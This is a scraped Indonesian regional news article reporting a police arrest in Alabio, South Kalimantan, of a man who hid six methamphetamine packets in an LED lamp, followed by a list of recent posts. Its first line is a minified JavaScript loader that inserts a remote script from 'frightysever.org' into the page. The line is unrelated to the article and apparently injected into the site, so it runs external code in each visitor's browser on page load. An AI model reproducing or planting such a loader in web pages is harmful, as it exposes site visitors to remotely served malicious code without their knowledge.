(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL HSU

Simpan Sabu di Lampu LED, Asul Naga Akhirnya Dibekuk Polsek Alabio


KANALKALIMANTAN.COM, AMUNTAI – SA alias Asul Naga (28) warga Desa Tapus Dalam Kecamantan Sungai Pandan (Alabio) Kabupaten Hulu Sungai Utara (HSU), tak berkutik setelah anggota Polsek Alabio bersama Sat Narkoba Polres HSU menemukan 6 paket sabu, saat menggeledah rumahnya
pada (6/3/ 2020) kemarin.

Ditangkapnya tersangka Asul Naga disertai penggeledahan tersebut, adalah hasil dari pengembangan kasus oleh anggota Polsek Alabio usai beberapa hari sebelumnya juga meringkus dua pelaku yang diduga sebagai kurir sabu diwilayah tersebut.

Kapolres HSU AKBP Pipit Subiyanto SIK MH melalui Kapolsek Alabio Iptu Agus Sumitro, kepada kanalkalimantan.com, Minggu (8/3/2020) mengakui penangkapan terhadap tersangka SA alias Asul Naga, merupakan pengembangan dan informasi dari dua tersangka yang berhasil diringkus sebelumnya di kawasan Alabio.

Alhasil diperoleh barang bukti yaitu 6 Paket Plastik Piper Clip yang berisikan Narkotika jenis Sabu dengan berat kotor keseluruhan sebanyak 1.70 gram dan berat bersih keseluruhan 0.80 gram.1 buah lampu Led Premium quality warna putih, 1 buah kepala Charging warna putih dan 1 buah Handphone.

“Tersangka ini ada keterkaitan dengan tersangka Nuri kemarin.” Ujar Kapolsek Alabio ini saat dikonfirmasi Kanalkalimantan.com.

Dari informasinya, penangkapan tersangka Asul ini sendiri bermula saat dilakukan penangkapan dan melakukan penggeledahan rumahnya dengan disaksikan oleh warga setempat.

Hasilnya ditemukan barang bukti sabu didalam kamar tepatnya di atas lemari rias berupa sebuah lampu Led Premium quality warna putih yang didalam nya berisikan 6 paket plastik piper clip yg berisikan narkotika jenis sabu-sabu dengan berat keseluruhan 1.70 gram.

Atas temuan tersebut tersangka bersama barang bukti digelandang ke Polres HSU guna proses lebih lanjut dan bakal disangkakan Pasal 114 ayat ( 1 ) atau 112 ayat ( 1 ) nomor 35 Tahun 2009 terkait Tentang Narkotika.(kanalkalimantan.com/dew)

Reporter : Dew
Editor : Chell


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.